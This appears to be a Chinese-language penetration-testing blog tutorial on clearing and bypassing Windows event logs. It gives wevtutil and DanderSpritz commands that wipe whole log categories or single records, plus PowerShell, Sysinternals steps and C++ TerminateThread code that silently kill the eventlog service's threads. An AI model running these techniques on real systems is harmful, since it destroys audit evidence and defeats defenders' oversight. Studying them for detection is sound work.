渗透技巧——Windows 日志的删除与绕过
0x00 前言
在渗透测试过程中,Windows 日志往往会记录系统上的敏感操作,如添加用户,远程登录执行等。
对于一次完整的渗透测试,通常会选择对 Windows 日志进行清除和绕过,而对于防御者来说,了解常用的绕过方法也有助于更好的保护自己的系统。
所以本文将要介绍常见的 Windows 日志清除与绕过方法,分享经验,帮助大家。
0x01 简介
本文将要介绍以下内容:
- Windows 日志的常用清除方法
- Windows 日志的两种绕过方法
0x02 Windows 日志
Windows 日志包括五个类别:
- 应用程序
- 安全
- Setup
- 系统
- 转发事件
查看方式:
1、 通过面板
位置如下:
Control Panel\System and Security-View event logs-Windows Logs
如下图
2、 通过 Powershell
常用命令如下:
(管理员权限)
查看所有日志:
Get-WinEvent
查看应用程序类别下的日志:
Get-WinEvent -FilterHashtable @{logname="Application";}
0x03 Windows 日志的常用清除方法
1、wevtutil.exe
操作系统默认包含,支持系统:Win7 及以上
常用命令如下:
(1) 统计日志列表,查询所有日志信息,包含时间,数目
wevtutil.exe gli Application
操作如下图
(2) 查看指定类别的日志内容
wevtutil qe /f:text Application
操作如下图
(3) 删除该类日志所有内容
wevtutil cl Application
操作如下图
Application 日志全部清除,数目为 0
(4) 删除单条内容
尚不支持
2、NSA DanderSpiritz
DanderSpritz 是 NSA 的一款界面化的远控工具
常用命令如下:
(1) 统计日志列表,查询所有日志信息,包含时间,数目
eventlogquery -log Application
(2) 查看指定类别的日志内容
eventlogfilter -log Application -num 10
(3) 删除该类日志所有内容
eventlogclear -log Application
(4) 删除单条内容
eventlogedit -log Application -record 1
注:record 序号可通过 eventlogfilter 获得
0x04 Windows 日志的绕过方法
本文介绍的思路参考自 Halil Dalabasmaz@hlldz 的文章,地址如下:https://artofpwn.com/phant0m-killing-windows-event-log.html
绕过原理:
Windows 日志对应于 eventlog 服务,找到该服务对应的进程 svchost.exe,进而筛选出 svchost.exe 进程中具体实现日志功能的线程,调用 TerminateThread 结束线程,破坏日志记录功能
特别的地方:
由于只结束了实现日志功能的线程,所以 Windows Event Log 服务没有被破坏,状态仍为正在运行
绕过方法一
1、 定位 eventlog 服务对应进程 svchost.exe 的 pid
2、 遍历该进程中的所有线程
3、 判断线程是否满足条件
Windows Event Log 服务需要调用 wevtsvc.dll,完整路径为 %WinDir%\System32\wevtsvc.dll
并且,如果线程调用了 wevtsvc.dll,就可以判读该线程实现了日志记录功能
4、 结束线程
使用 TerminateThread
注:Halil Dalabasmaz@hlldz 使用 powershell 实现了方法一,完整代码可参考:https://github.com/hlldz/Invoke-Phant0m
powershell 脚本执行后,Windows 日志功能失效,无法记录日志,操作如下图
5、 恢复方法
结束进程 svchost.exe
重新开启 Windows Event Log 服务:
net start eventlog
操作如下图
绕过方法二
1、 定位 eventlog 服务对应进程 svchost.exe 的 pid
powershell 代码如下:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
找到 svchost.exe 的 pid 为 7008,如下图
2、 遍历该进程中的所有线程
使用 PsList
下载地址:https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx
具体参数如下:
pslist.exe /accepteula -d 7008
获取进程 svchost.exe 中的所有线程,如下图
3、 判断线程是否满足条件
获取线程对应的服务,如果为 eventlog,则满足条件
使用工具:ScTagQuery
下载地址:http://www.winsiderss.com/tools/sctagquery/sctagqry.zip
具体参数如下:
sctagqry.exe -t 7928
根据返回的结果 Service Tag,判断线程对应的服务
找到对应 eventlog 的线程,如下图
线程 8136 符合条件,依次尝试,直到获取所有符合条件线程
注:使用 Process Explorer 可以简化此过程,找到 eventlog 服务对应进程 svchost.exe
如下图
右键查看属性,选择 Threads 标签,查看线程,可直接获得线程对应的服务
如下图
符合条件的线程 TID 为:
- 8136
- 8052
- 6708
- 2316
- 6356
4、 结束线程
调用 TerminateThread
通过 c++实现,部分代码如下:
int main(int argc, char* argv[])
{
printf("TerminateThread TID:\n");
for(int i=1;i<argc;i++)
{
printf("%s\n",argv[i]);
HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
if(TerminateThread(hThread,0)==0)
printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
CloseHandle(hThread);
}
return 0;
}
完整代码已上传至 github,地址如下:https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp
控制台支持传入多个参数,向其传入 5 个 TID: 8136 8052 6708 2316 6356
自动结束对应线程,日志功能失效
具体操作如下图
注:稍后我会在 github 上更新该绕过方法的完整实现代码,地址如下:https://github.com/3gstudent/Windwos-EventLog-Bypass
0x05 补充
1、安装 sysmon 可对 Windows 日志功能进行扩展
2、绕过方法仅针对 Windows 日志
对应用程序和服务日志失效,例如 Windows Powershell
如下图
0x06 小结
本文对 Windows 日志的清除和绕过方法做了介绍,希望能够帮助大家,接下来会分享绕过方法二的具体程序实现方法。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论